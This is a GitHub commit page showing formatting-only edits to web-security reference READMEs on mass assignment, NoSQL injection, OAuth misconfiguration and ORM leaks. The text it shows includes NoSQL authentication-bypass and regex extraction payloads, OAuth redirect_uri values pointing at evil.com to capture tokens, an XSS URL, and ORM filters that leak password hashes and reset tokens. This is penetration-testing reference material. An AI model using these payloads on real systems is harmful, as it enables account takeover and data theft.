Skip to content

Commit 6963d1a

Browse files
committed
Markdown Linting - Mass Assignment, NoSQL, OAuth, Redirect
1 parent 5f244f4 commit 6963d1a

File tree

8 files changed

+99
-143
lines changed

8 files changed

+99
-143
lines changed

Mass Assignment/README.md

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,6 @@
88
* [Labs](#labs)
99
* [References](#references)
1010

11-
1211
## Methodology
1312

1413
Mass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality.
@@ -28,16 +27,14 @@ However, an attacker may attempt to add an `isAdmin` parameter to the incoming d
2827

2928
If the web application is not checking which parameters are allowed to be updated in this way, it might set the `isAdmin` attribute based on the user-supplied input, giving the attacker admin privileges
3029

31-
3230
## Labs
3331

3432
* [PentesterAcademy - Mass Assignment I](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1964)
3533
* [PentesterAcademy - Mass Assignment II](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1922)
3634
* [Root Me - API - Mass Assignment](https://www.root-me.org/en/Challenges/Web-Server/API-Mass-Assignment)
3735

38-
3936
## References
4037

41-
- [Hunting for Mass Assignment - Shivam Bathla - August 12, 2021](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)
42-
- [Mass Assignment Cheat Sheet - OWASP - March 15, 2021](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
43-
- [What is Mass Assignment? Attacks and Security Tips - Yoan MONTOYA - June 15, 2023](https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/)
38+
* [Hunting for Mass Assignment - Shivam Bathla - August 12, 2021](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)
39+
* [Mass Assignment Cheat Sheet - OWASP - March 15, 2021](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
40+
* [What is Mass Assignment? Attacks and Security Tips - Yoan MONTOYA - June 15, 2023](https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/)

NoSQL Injection/README.md

Lines changed: 11 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22

33
> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
44
5-
65
## Summary
76

87
* [Tools](#tools)
@@ -17,13 +16,11 @@
1716
* [Labs](#references)
1817
* [References](#references)
1918

20-
2119
## Tools
2220

2321
* [codingo/NoSQLmap](https://github.com/codingo/NoSQLMap) - Automated NoSQL database enumeration and web application exploitation tool
2422
* [digininja/nosqlilab](https://github.com/digininja/nosqlilab) - A lab for playing with NoSQL Injection
25-
* [matrix/Burp-NoSQLiScanner](https://github.com/matrix/Burp-NoSQLiScanner) - This extension provides a way to discover NoSQL injection vulnerabilities.
26-
23+
* [matrix/Burp-NoSQLiScanner](https://github.com/matrix/Burp-NoSQLiScanner) - This extension provides a way to discover NoSQL injection vulnerabilities.
2724

2825
## Methodology
2926

@@ -32,6 +29,7 @@
3229
Basic authentication bypass using not equal (`$ne`) or greater (`$gt`)
3330

3431
* in HTTP data
32+
3533
```ps1
3634
username[$ne]=toto&password[$ne]=toto
3735
login[$regex]=a.*&pass[$ne]=lol
@@ -40,14 +38,14 @@ Basic authentication bypass using not equal (`$ne`) or greater (`$gt`)
4038
```
4139

4240
* in JSON data
41+
4342
```json
4443
{"username": {"$ne": null}, "password": {"$ne": null}}
4544
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
4645
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
4746
{"username": {"$gt":""}, "password": {"$gt":""}}
4847
```
4948

50-
5149
### Extract Length Information
5250

5351
Inject a payload using the $regex operator. The injection will work when the length is correct.
@@ -62,6 +60,7 @@ username[$ne]=toto&password[$regex]=.{3}
6260
Extract data with "`$regex`" query operator.
6361

6462
* HTTP data
63+
6564
```ps1
6665
username[$ne]=toto&password[$regex]=m.{2}
6766
username[$ne]=toto&password[$regex]=md.{1}
@@ -72,6 +71,7 @@ Extract data with "`$regex`" query operator.
7271
```
7372

7473
* JSON data
74+
7575
```json
7676
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
7777
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
@@ -84,7 +84,6 @@ Extract data with "`$in`" query operator.
8484
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
8585
```
8686

87-
8887
## Blind NoSQL
8988

9089
### POST with JSON Body
@@ -191,18 +190,16 @@ while true
191190
end
192191
```
193192

194-
195193
## Labs
196194

197195
* [Root Me - NoSQL injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Authentication)
198196
* [Root Me - NoSQL injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Blind)
199197

200-
201198
## References
202199

203-
- [Burp-NoSQLiScanner - matrix - January 30, 2021](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java)
204-
- [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat - February 22, 2015](https://www.dailysecurity.fr/nosql-injections-classique-blind/)
205-
- [MongoDB NoSQL Injection with Aggregation Pipelines - Soroush Dalili (@irsdl) - June 23, 2024](https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/)
206-
- [NoSQL Injection in MongoDB - Zanon - July 17, 2016](https://zanon.io/posts/nosql-injection-in-mongodb)
207-
- [NoSQL injection wordlists - cr0hn - May 5, 2021](https://github.com/cr0hn/nosqlinjection_wordlists)
208-
- [Testing for NoSQL injection - OWASP - May 2, 2023](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)
200+
* [Burp-NoSQLiScanner - matrix - January 30, 2021](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java)
201+
* [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat - February 22, 2015](https://www.dailysecurity.fr/nosql-injections-classique-blind/)
202+
* [MongoDB NoSQL Injection with Aggregation Pipelines - Soroush Dalili (@irsdl) - June 23, 2024](https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/)
203+
* [NoSQL Injection in MongoDB - Zanon - July 17, 2016](https://zanon.io/posts/nosql-injection-in-mongodb)
204+
* [NoSQL injection wordlists - cr0hn - May 5, 2021](https://github.com/cr0hn/nosqlinjection_wordlists)
205+
* [Testing for NoSQL injection - OWASP - May 2, 2023](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)

OAuth Misconfiguration/README.md

Lines changed: 11 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,22 @@
11
# OAuth Misconfiguration
22

3-
> OAuth is a widely-used authorization framework that allows third-party applications to access user data without exposing user credentials. However, improper configuration and implementation of OAuth can lead to severe security vulnerabilities. This document explores common OAuth misconfigurations, potential attack vectors, and best practices for mitigating these risks.
4-
3+
> OAuth is a widely-used authorization framework that allows third-party applications to access user data without exposing user credentials. However, improper configuration and implementation of OAuth can lead to severe security vulnerabilities. This document explores common OAuth misconfigurations, potential attack vectors, and best practices for mitigating these risks.
54
65
## Summary
76

87
- [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer)
9-
- [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect---uri)
10-
- [Executing XSS via redirect_uri](#executing-xss-via-redirect---uri)
8+
- [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect_uri)
9+
- [Executing XSS via redirect_uri](#executing-xss-via-redirect_uri)
1110
- [OAuth Private Key Disclosure](#oauth-private-key-disclosure)
1211
- [Authorization Code Rule Violation](#authorization-code-rule-violation)
1312
- [Cross-Site Request Forgery](#cross-site-request-forgery)
1413
- [Labs](#labs)
1514
- [References](#references)
1615

17-
1816
## Stealing OAuth Token via referer
1917

2018
> Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer - [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544)
2119
22-
2320
## Grabbing OAuth Token via redirect_uri
2421

2522
Redirect to a controlled domain to get the access token
@@ -44,47 +41,41 @@ Sometimes you need to change the scope to an invalid one to bypass a filter on r
4441
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
4542
```
4643

47-
4844
## Executing XSS via redirect_uri
4945

5046
```powershell
5147
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
5248
```
5349

54-
5550
## OAuth Private Key Disclosure
5651

5752
Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.
5853

59-
6054
## Authorization Code Rule Violation
6155

6256
> The client MUST NOT use the authorization code more than once.
6357
64-
If an authorization code is used more than once, the authorization server MUST deny the request
58+
If an authorization code is used more than once, the authorization server MUST deny the request
6559
and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
6660

67-
6861
## Cross-Site Request Forgery
6962

7063
Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.
7164

7265
> The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.
7366
74-
7567
## Labs
7668

77-
* [PortSwigger - Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow)
78-
* [PortSwigger - Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
79-
* [PortSwigger - OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)
80-
* [PortSwigger - Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page)
81-
* [PortSwigger - Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect)
82-
69+
- [PortSwigger - Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow)
70+
- [PortSwigger - Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
71+
- [PortSwigger - OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)
72+
- [PortSwigger - Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page)
73+
- [PortSwigger - Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect)
8374

8475
## References
8576

86-
- [All your Paypal OAuth tokens belong to me - asanso - November 28, 2016](http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html)
77+
- [All your Paypal OAuth tokens belong to me - asanso - November 28, 2016](http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html)
8778
- [OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token) - asanso - April 8, 2014](http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html)
8879
- [How I hacked Github again - Egor Homakov - February 7, 2014](http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html)
8980
- [How Microsoft is giving your data to Facebook… and everyone else - Andris Atteka - September 16, 2014](http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html)
90-
- [Bypassing Google Authentication on Periscope's Administration Panel - Jack Whitton - July 20, 2015](https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel/)
81+
- [Bypassing Google Authentication on Periscope's Administration Panel - Jack Whitton - July 20, 2015](https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel/)

ORM Leak/README.md

Lines changed: 13 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22

33
> An ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of ORM queries. This can happen if the application returns raw error messages, debug information, or allows attackers to manipulate queries in ways that reveal underlying data.
44
5-
65
## Summary
76

87
* [Django (Python)](#django-python)
@@ -19,7 +18,6 @@
1918
* [CVE](#cve)
2019
* [References](#references)
2120

22-
2321
## Django (Python)
2422

2523
The following code is a basic example of an ORM querying the database.
@@ -31,13 +29,11 @@ serializer = UserSerializer(users, many=True)
3129

3230
The problem lies in how the Django ORM uses keyword parameter syntax to build QuerySets. By utilizing the unpack operator (`**`), users can dynamically control the keyword arguments passed to the filter method, allowing them to filter results according to their needs.
3331

34-
3532
### Query filter
3633

37-
The attacker can control the column to filter results by.
34+
The attacker can control the column to filter results by.
3835
The ORM provides operators for matching parts of a value. These operators can utilize the SQL LIKE condition in generated queries, perform regex matching based on user-controlled patterns, or apply comparison operators such as < and >.
3936

40-
4137
```json
4238
{
4339
"username": "admin",
@@ -51,18 +47,16 @@ Interesting filter to use:
5147
* `__contains`
5248
* `__regex`
5349

54-
5550
### Relational Filtering
5651

5752
Let's use this great example from [PLORMBING YOUR DJANGO ORM, by Alex Brown](https://www.elttam.com/blog/plormbing-your-django-orm/)
58-
![](https://www.elttam.com/assets/images/blog/2024-06-24-plormbing-your-django-orm/UML-example-app-simplified-highlight1.png)
53+
![UML-example-app-simplified-highlight](https://www.elttam.com/assets/images/blog/2024-06-24-plormbing-your-django-orm/UML-example-app-simplified-highlight1.png)
5954

6055
We can see 2 type of relationships:
6156

6257
* One-to-One relationships
6358
* Many-to-Many Relationships
6459

65-
6660
#### One-to-One
6761

6862
Filtering through user that created an article, and having a password containing the character `p`.
@@ -73,13 +67,12 @@ Filtering through user that created an article, and having a password containing
7367
}
7468
```
7569

76-
7770
#### Many-to-Many
7871

7972
Almost the same thing but you need to filter more.
8073

8174
* Get the user IDS: `created_by__departments__employees__user__id`
82-
* For each ID, get the username: `created_by__departments__employees__user__username`
75+
* For each ID, get the username: `created_by__departments__employees__user__username`
8376
* Finally, leak their password hash: `created_by__departments__employees__user__password`
8477

8578
Use multiple filters in the same request:
@@ -91,7 +84,6 @@ Use multiple filters in the same request:
9184
}
9285
```
9386

94-
9587
### Error-based leaking - ReDOS
9688

9789
If Django use MySQL, you can also abuse a ReDOS to force an error when the filter does not properly match the condition.
@@ -104,12 +96,12 @@ If Django use MySQL, you can also abuse a ReDOS to force an error when the filte
10496
// => Error 500 (Timeout exceeded in regular expression match)
10597
```
10698

107-
10899
## Prisma (Node.JS)
109100

110101
**Tools**:
111102

112103
* [elttam/plormber](https://github.com/elttam/plormber) - tool for exploiting ORM Leak time-based vulnerabilities
104+
113105
```ps1
114106
plormber prisma-contains \
115107
--chars '0123456789abcdef' \
@@ -158,7 +150,6 @@ Select only one field
158150
}
159151
```
160152

161-
162153
### Relational Filtering
163154

164155
#### One-to-One
@@ -203,14 +194,14 @@ Select only one field
203194
}
204195
```
205196

206-
207197
## Ransack (Ruby)
208198

209199
Only in Ransack < `4.0.0`.
210200

211-
![](https://assets-global.website-files.com/5f6498c074436c349716e747/63ceda8f7b5b98d68365bdee_ransack_bruteforce_overview-p-1600.png)
201+
![ransack_bruteforce_overview](https://assets-global.website-files.com/5f6498c074436c349716e747/63ceda8f7b5b98d68365bdee_ransack_bruteforce_overview-p-1600.png)
212202

213203
* Extracting the `reset_password_token` field of a user
204+
214205
```ps1
215206
GET /posts?q[user_reset_password_token_start]=0 -> Empty results page
216207
GET /posts?q[user_reset_password_token_start]=1 -> Empty results page
@@ -221,23 +212,22 @@ Only in Ransack < `4.0.0`.
221212
```
222213
223214
* Target a specific user and extract his `recoveries_key`
215+
224216
```ps1
225217
GET /labs?q[creator_roles_name_cont]=​superadmin​​&q[creator_recoveries_key_start]=0
226218
```
227219
228-
229220
## CVE
230221
231222
* [CVE-2023-47117: Label Studio ORM Leak](https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6hjj-gq77-j4qw)
232223
* [CVE-2023-31133: Ghost CMS ORM Leak](https://github.com/TryGhost/Ghost/security/advisories/GHSA-r97q-ghch-82j9)
233224
* [CVE-2023-30843: Payload CMS ORM Leak](https://github.com/payloadcms/payload/security/advisories/GHSA-35jj-vqcf-f2jf)
234225
235-
236226
## References
237227
238-
- [ORM Injection - HackTricks - July 30, 2024](https://book.hacktricks.xyz/pentesting-web/orm-injection)
239-
- [ORM Leak Exploitation Against SQLite - Louis Nyffenegger - July 30, 2024](https://pentesterlab.com/blog/orm-leak-with-sqlite3)
240-
- [plORMbing your Django ORM - Alex Brown - June 24, 2024](https://www.elttam.com/blog/plormbing-your-django-orm/)
241-
- [plORMbing your Prisma ORM with Time-based Attacks - Alex Brown - July 9, 2024](https://www.elttam.com/blog/plorming-your-primsa-orm/)
242-
- [QuerySet API reference - Django - August 8, 2024](https://docs.djangoproject.com/en/5.1/ref/models/querysets/)
243-
- [Ransacking your password reset tokens - Lukas Euler - January 26, 2023](https://positive.security/blog/ransack-data-exfiltration)
228+
* [ORM Injection - HackTricks - July 30, 2024](https://book.hacktricks.xyz/pentesting-web/orm-injection)
229+
* [ORM Leak Exploitation Against SQLite - Louis Nyffenegger - July 30, 2024](https://pentesterlab.com/blog/orm-leak-with-sqlite3)
230+
* [plORMbing your Django ORM - Alex Brown - June 24, 2024](https://www.elttam.com/blog/plormbing-your-django-orm/)
231+
* [plORMbing your Prisma ORM with Time-based Attacks - Alex Brown - July 9, 2024](https://www.elttam.com/blog/plorming-your-primsa-orm/)
232+
* [QuerySet API reference - Django - August 8, 2024](https://docs.djangoproject.com/en/5.1/ref/models/querysets/)
233+
* [Ransacking your password reset tokens - Lukas Euler - January 26, 2023](https://positive.security/blog/ransack-data-exfiltration)

0 commit comments

Comments
 (0)